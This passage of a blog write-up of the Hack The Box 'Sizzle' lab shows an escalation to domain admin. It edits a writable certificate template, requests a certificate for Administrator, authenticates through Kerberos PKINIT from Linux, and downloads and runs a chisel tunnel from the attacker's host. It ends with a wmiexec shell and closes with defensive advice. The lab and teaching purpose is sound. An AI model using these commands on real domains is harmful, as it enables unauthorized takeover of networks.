- Make the missing Kerberos port availabe – I use chisel this time instead of my complex 2-step process to get a meterpreter shell.

When I can finally logon as amanda and the route is up, everything works as before in the test lab!

17 Logon as amanda@HTB.LOCAL

On Sizzle I had to amanda's password from making her access a malicious LNK file and steal hear hash (see the original write-up). Then I could use the http://sizzle.htb.local/certsrv/certrqxt.asp app to enroll for a certificate of the type (certificate template) **User**. I created the request and key with openssl, and the submission of the request works as explained before.

Last time I socat-ed WinRM to (yet another) Windows box to use Powershell, this time I used evil-winrm on Kali with the option for client certificate logon **-k**. Note that it also prompts for a password, but you can enter anything here and it will work!

```
./evil-winrm.rb -S -c amanda.crt -k amanda.key -i 10.10.10.103 -u amanda

Enter Password:

Evil-WinRM shell v2.0

Warning: SSL enabled

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\amanda\Documents>
```

18 Editing templates and getting a certificate for Administrator@htb.local

amanda checks the templates in the htb.local forest. There is a template **SSL** she can enroll:

```
certutil -catemplates
    SSL: SSL -- Auto-Enroll
    Usercert: Usercert -- Auto-Enroll: Access is denied.
    DirectoryEmailReplication: Directory Email Replication -- Access is denied.
    DomainControllerAuthentication: Domain Controller Authentication -- Access is
denied.
    KerberosAuthentication: Kerberos Authentication -- Access is denied.
    EFSRecovery: EFS Recovery Agent -- Access is denied.
    EFS: Basic EFS -- Auto-Enroll: Access is denied.
    DomainController: Domain Controller -- Access is denied.
    WebServer: Web Server -- Access is denied.
    Machine: Computer -- Access is denied.
    User: User -- Auto-Enroll: Access is denied.
    SubCA: Subordinate Certification Authority -- Access is denied.
    Administrator: Administrator -- Access is denied.
    CertUtil: -CATemplates command completed successfully.
```

Inspecting the SSL template she notices that the EKU / Application Policy requires amendment:

```
certutil -dstemplate SSL

     [Version]
    Signature = "$Windows NT$"

    [SSL]
        objectClass = "top", "pKICertificateTemplate"
        cn = "SSL"
        distinguishedName = "CN=SSL,CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=HTB,DC=LOCAL"
        instanceType = "4"
        whenCreated = "20180703180611.0Z"
        whenChanged = "20180703180645.0Z"
        displayName = "SSL"
        uSNCreated = "16440"
        uSNChanged = "16445"
        showInAdvancedViewOnly = "TRUE"
        nTSecurityDescriptor = "D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;DA)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2379389067-1826974543-3574127760-519)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;LA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)"
        name = "SSL"
        objectGUID = "50e0c82d-3a98-4bab-98a0-a8cf58e27c86"
        flags = "131649"
        revision = "100"
        objectCategory = "CN=PKI-Certificate-
Template,CN=Schema,CN=Configuration,DC=HTB,DC=LOCAL"
        pKIDefaultKeySpec = "1"
        pKIKeyUsage = "a0 00"
        pKIMaxIssuingDepth = "0"
        pKICriticalExtensions = "2.5.29.15"
        pKIExpirationPeriod =  "2 Years"
        pKIOverlapPeriod =  "6 Weeks"
        pKIExtendedKeyUsage = "1.3.6.1.5.5.7.3.1"
        pKIDefaultCSPs = "2,Microsoft DH SChannel Cryptographic Provider",
"1,Microsoft RSA SChannel Cryptographic Provider"
        dSCorePropagationData = "20180703180616.0Z", "20180703180611.0Z",
"16010101000000.0Z"
        msPKI-RA-Signature = "0"
        msPKI-Enrollment-Flag = "8"
        msPKI-Private-Key-Flag = "16842752"
        msPKI-Certificate-Name-Flag = "1"
        msPKI-Minimal-Key-Size = "2048"
        msPKI-Template-Schema-Version = "2"
        msPKI-Template-Minor-Revision = "4"
        msPKI-Cert-Template-OID =
"1.3.6.1.4.1.311.21.8.1673567.6184851.15355838.1475103.2881929.224.8364514.11629017

        msPKI-Certificate-Application-Policy = "1.3.6.1.5.5.7.3.1"
```

Check my (amanda's) permissions:

```
    certutil -v -dstemplate SSL
    ...
    Allow Full Control  HTB\Domain Admins
    Allow Full Control  HTB\Enterprise Admins
    Allow Full Control  HTB\Administrator
    Allow Full Control  NT AUTHORITY\Authenticated Users
    ...
```

Add EKUs:

```
$EKUs=@("1.3.6.1.5.5.7.3.2", "1.3.6.1.4.1.311.20.2.2")
    Set-ADObject "CN=SSL,CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=HTB,DC=LOCAL" -Add
@{pKIExtendedKeyUsage=$EKUs;"msPKI-Certificate-Application-Policy"=$EKUs}
```

Creating the request on the Linux box – compared to my test environment I only need to change the DN value to be sent with openssl:

```
...
dn="/DC=LOCAL/DC=HTB/CN=Users/CN=Administrator"
...
[ user ]
    subjectAltName = otherName:msUPN;UTF8:Administrator@HTB.LOCAL
...
openssl req -config $cnffile -subj $dn -new -nodes -sha256 -out $reqfile -keyout
$keyfile
```

amanda logs again on to http://sizzle.htb.local/certsrv/certrqxt.asp to submit a certificate request, but this time she picks the **SSL** template and pastes the BASE64-encoded request file that includes the Administrator's names.

Certificate obtained:

```
openssl x509 -in HTB-SIZZLE-CA.cer -text -noout
    Certificate:
        Data:
            Version: 3 (0x2)
            Serial Number:
                75:34:96:f2:56:ee:30:9f:45:6e:22:3a:2a:e0:1e:a2
            Signature Algorithm: sha256WithRSAEncryption
            Issuer: DC = LOCAL, DC = HTB, CN = HTB-SIZZLE-CA
            Validity
                Not Before: Jul  2 20:26:03 2018 GMT
                Not After : Jul  2 20:36:02 2028 GMT
            Subject: DC = LOCAL, DC = HTB, CN = HTB-SIZZLE-CA
            Subject Public Key Info:
```

19 Changing the Linux Kerberos config: HTB.LOCAL realm

The default realm needs to be changed to HTB.LOCAL, and entries for these realm have to be added (the ones for testdomain.local are unchanged, just as the bunch of other default realms that were in krb5.conf from the beginning)

```
    [libdefaults]
        default_realm = HTB.LOCAL
...
    [realms]
        HTB.LOCAL = {
            kdc = sizzle.HTB.LOCAL
            admin_server = sizzle.HTB.LOCAL
            pkinit_anchors = FILE:/research/_Kerberos-Certificates/sizzle/HTB-
SIZZLE-CA.crt
            pkinit_identites = FILE:/research/_Kerberos-Certificates/sizzle/admin-
sizzle.cer,/research/_Kerberos-Certificates/sizzle/admin-sizzle.key
            pkinit_kdc_hostname = sizzle.HTB.LOCAL
            pkinit_eku_checking = kpServerAuth
        }
        TESTDOMAIN.LOCAL = {
            kdc = pki.TESTDOMAIN.LOCAL
...
```

20 Using chisel

Download chisel and start the 'server' (or is that the client ;-) ?) on my box:

```
./chisel server -p 9999 --reverse
2020/05/31 11:20:47 server: Reverse tunnelling enabled
2020/05/31 11:20:47 server: Fingerprint
bb:e9:3c:75:0f:28:dc:cc:0f:45:ad:5b:fa:97:e6:6d
2020/05/31 11:20:47 server: Listening on 0.0.0.0:9999...
```

Copy it to Sizzle using powershell curl. It does not run from amanda's Downloads folder, but I owe to 0xdf for the trick to cd to the C:\Windows\Temp folder – a directory that you can put files into but that you are not allowed to list!

I wanted to use the minimum ports only, so amanda runs on the Sizzle box …

```
cd C:\windows\temp
curl 10.10.14.3/chi.exe -outfile chi.exe
.\chi.exe client 10.10.14.3:9999 R:88:127.0.0.1:88
2020/05/31 05:25:01 client: Connecting to ws://10.10.14.3:9999
2020/05/31 05:25:01 client: Fingerprint
bb:e9:3c:75:0f:28:dc:cc:0f:45:ad:5b:fa:97:e6:6d
2020/05/31 05:25:01 client: Connected (Latency 47.9862ms)
```

If kinit (or later the impacket tools) would fail, I would go back to the test environments, check network traces, and add more ports. I cannot sniff on the traffic between my Linux box and Sizzle as the traffic is encapsulated in the tunnel.

Change /etc/hosts entry for sizzle.htb.local to 127.0.0., and get the Ticket Granting Ticket for the Administrator – seems that TCP 88 is indeed sufficient:

```
kinit -X X509_user_identity=FILE:/research/_Kerberos-Certificates/sizzle/admin-
sizzle.cer,/research/_Kerberos-Certificates/sizzle/admin-sizzle.key
Administrator@HTB.LOCAL

    klist
    Ticket cache: FILE:/tmp/krb5cc_0
    Default principal: Administrator@HTB.LOCAL

    Valid starting       Expires              Service principal
    05/31/2020 11:29:13  05/31/2020 21:29:13  krbtgt/HTB.LOCAL@HTB.LOCAL
            renew until 06/01/2020 11:29:12
```

\o/

21 Get a shell with wmiexec

psexec looks promising: Authentication works, but then it is stuck forever at the last step:

```
export KRB5CCNAME=/tmp/krb5cc_0

python /usr/share/doc/python3-impacket/examples/psexec.py
HTB.LOCAL/Administrator@sizzle.HTB.LOCAL -k -no-pass -dc-ip 127.0.0.1

Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on sizzle.HTB.LOCAL.....
[*] Found writable share ADMIN$
[*] Uploading file GTtteuqL.exe
[*] Opening SVCManager on sizzle.HTB.LOCAL.....
[*] Creating service TQrO on sizzle.HTB.LOCAL.....
[*] Starting service TQrO.....
```

Then the WinRM shell dies and it never finishes. Maybe a Defender thing? Or a ‘bug’, latency due to chisel? Filtering a network trace of psexec run in my testdomain.local with ..

```
!(tcp.port == 445) && !(tcp.port == 88)
```

… shows that really no other ports should be needed.

Pragmatic decision: Start testing **wmiexec** instead. This time it does not work until I add more ports to be forwarded by chisel. Fortunately, those RPC high ports seem to be universal and the ones learned from testdomain.local also work with htb.local.

So I add them to chisel as amanda:

```
.\chi.exe client 10.10.14.3:9999 R:88:127.0.0.1:88 R:445:127.0.0.1:445
R:135:127.0.0.1:135 R:49666:127.0.0.1:49666
```

… and I finally get my shell :-)

```
python /usr/share/doc/python3-impacket/examples/wmiexec.py
HTB.LOCAL/Administrator@sizzle.HTB.LOCAL -k -no-pass -dc-ip 127.0.0.1
    Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

    [*] SMBv3.0 dialect used
    [!] Launching semi-interactive shell - Careful what you execute
    [!] Press help for extra shell commands
    C:\>whoami
    htb\administrator

    C:\>cd C:\users\administrator
    C:\users\administrator>cd Desktop
    C:\users\administrator\Desktop>dir
     Volume in drive C has no label.
     Volume Serial Number is 9C78-BB37

     Directory of C:\users\administrator\Desktop

    07/10/2018  06:24 PM <DIR> .
    07/10/2018  06:24 PM <DIR> ..
    07/10/2018  06:24 PM 32 root.txt
                   1 File(s) 32 bytes
                   2 Dir(s) 10,244,354,048 bytes free

   C:\users\administrator\Desktop>type root.txt
   91c584************************
```

Summary

What was the misconfiguration?

A normal PKI user – who should only be able to enroll for certificates – also had the right to change certificate templates.

Main steps to exploit this:

- Edit a certificate template to make it suitable for smart card logon
- Create key and request file with proper naming attributes offline
- Send a request via the intended enrollment interface – the certsrv web app in this case.
- Use the certificate to get a Kerberos Ticket Granting Ticket with Linux default Kerberos tools.
- Use a tool that gets a Service Ticket based on the TGT and starts and interactive shell, such as impacket psexec.py or wmiexec.py

How to protect against this?

!!! Treat a Windows PKI and related privileges as a domain controller of your forest root domain. !!! Only Enterprise Administrators or an equally trusted group should edit certificate templates.

If a published certificate template already (without having to edit it) allows to submit custom names (as typically webserver templates do):

- Assess the risk of a ‘malicous’ name to be submitted. It also depends on the other attributes in the certificate. If the only EKU is Server Authentication, the certificate can e.g. not be used for smart card logon. But don’t forget that custom applications MAY (as per RFCs) not care about EKUs and use it however they want!
- Make sure that naming attributes are inspected and certificate requests are subject to manual approval.

Discover more from elkemental Force

Subscribe to get the latest posts sent to your email.

Comments

2 responses to “Impersonating a Windows Enterprise Admin with a Certificate: Kerberos PKINIT from Linux”

1. October 1, 2021
   Certify – Active Directory Certificate Abuse – Latest Hacking News Today – HakTechs
   […] @ hackthebox – Unintended: Getting a Logon Smartcard for the Domain Admin!” and “Impersonating a Windows Enterprise Admin with a Certificate: Kerberos PKINIT from Linux” detail certificate template […]

   Loading…

   Reply

2. October 1, 2021
   Certify – Active Directory Certificate Abuse – Hacker Gadgets
   […] @ hackthebox – Unintended: Getting a Logon Smartcard for the Domain Admin!” and “Impersonating a Windows Enterprise Admin with a Certificate: Kerberos PKINIT from Linux” detail certificate template […]

   Loading…

   Reply

Leave a ReplyCancel reply